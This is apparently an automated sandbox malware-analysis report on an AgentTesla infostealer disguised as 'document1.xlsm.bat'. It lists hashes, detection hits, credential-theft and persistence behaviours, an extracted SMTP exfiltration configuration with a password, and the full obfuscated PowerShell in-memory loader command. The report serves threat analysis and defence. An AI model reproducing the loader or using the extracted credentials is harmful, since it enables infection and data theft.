Analysis
-
max time kernel
136s -
max time network
99s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
08-05-2024 16:14
Static task
static1
Behavioral task
behavioral1
Sample
document1.xlsm.bat
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
document1.xlsm.bat
Resource
win10v2004-20240426-en
General
-
Target
document1.xlsm.bat
-
Size
2.5MB
-
MD5
b35dd1b0c0a8eacd45751dc8915c921b
-
SHA1
69ec58d6a3fced2e8cf8afcad404e622f732ba64
-
SHA256
35b1f297074282d80109a55ffa2250719618fb94d1ffb89f2af71088000e4842
-
SHA512
c91063cfcd257d3e056c9625538106c27fbcf15963d1ab8c6fac5ef7ba90adfe14028dd1231157e9e8c4b2aaffa3a6995d78356bd70321999f4c3116332b2b8f
-
SSDEEP
24576:B3tFuAl5/Sq8tSKHGvFu6n0RXTiRJQQ49ZJ7Mr1/rfU2fdvFShyJDgyxK5If6Yc0:9nKqoH36ncXsCyhAJXIyYCOi4bwFMV
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.id-net.fr - Port:
587 - Username:
[email protected] - Password:
zhi33 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Detect ZGRat V1 34 IoCs
resource yara_rule behavioral2/memory/1640-31-0x0000000007AE0000-0x0000000007D10000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-38-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-40-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-52-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-78-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-76-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-74-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-72-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-70-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-68-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-66-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-64-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-62-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-60-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-58-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-56-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-54-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-48-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-46-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-44-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-43-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-36-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-34-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-50-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-33-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-84-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-88-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-96-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-94-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-90-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-86-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-82-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-80-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 behavioral2/memory/1640-92-0x0000000007AE0000-0x0000000007D0B000-memory.dmp family_zgrat_v1 -
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 5340 attrib.exe -
Executes dropped EXE 1 IoCs
pid Process 1640 document1.xlsm.bat.Agk -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Sqftb = "C:\\Users\\Admin\\AppData\\Roaming\\Sqftb.bat" document1.xlsm.bat.Agk Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MvQHOaQ = "C:\\Users\\Admin\\AppData\\Roaming\\MvQHOaQ\\MvQHOaQ.exe" RegAsm.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 47 api.ipify.org 48 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1640 set thread context of 4136 1640 document1.xlsm.bat.Agk 102 -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1640 document1.xlsm.bat.Agk 1640 document1.xlsm.bat.Agk 4136 RegAsm.exe 4136 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1640 document1.xlsm.bat.Agk Token: SeDebugPrivilege 1640 document1.xlsm.bat.Agk Token: SeDebugPrivilege 4136 RegAsm.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4136 RegAsm.exe -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 2552 wrote to memory of 2536 2552 cmd.exe 84 PID 2552 wrote to memory of 2536 2552 cmd.exe 84 PID 2552 wrote to memory of 1320 2552 cmd.exe 85 PID 2552 wrote to memory of 1320 2552 cmd.exe 85 PID 2552 wrote to memory of 5340 2552 cmd.exe 86 PID 2552 wrote to memory of 5340 2552 cmd.exe 86 PID 2552 wrote to memory of 1640 2552 cmd.exe 87 PID 2552 wrote to memory of 1640 2552 cmd.exe 87 PID 2552 wrote to memory of 1640 2552 cmd.exe 87 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 PID 1640 wrote to memory of 4136 1640 document1.xlsm.bat.Agk 102 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 5340 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:2536
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk2⤵PID:1320
-
-
C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:5340
-
-
C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.AgkC:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk -WindowStyle hidden -command "$Dpaixwue = Get-Content 'C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat' | select-object -Last 1; $Cbgbn = [System.Convert]::FromBase64String($Dpaixwue);$Wrshbyf = New-Object System.IO.MemoryStream( , $Cbgbn );$Vqjgxif = New-Object System.IO.MemoryStream;$Hbhfx = New-Object System.IO.Compression.GzipStream $Wrshbyf, ([IO.Compression.CompressionMode]::Decompress);$Hbhfx.CopyTo( $Vqjgxif );$Hbhfx.Close();$Wrshbyf.Close();[byte[]] $Cbgbn = $Vqjgxif.ToArray();[Array]::Reverse($Cbgbn); $Zbupjnbsv = [System.Threading.Thread]::GetDomain().Load($Cbgbn); $Rzfvpsrcsoi = $Zbupjnbsv.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4136
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc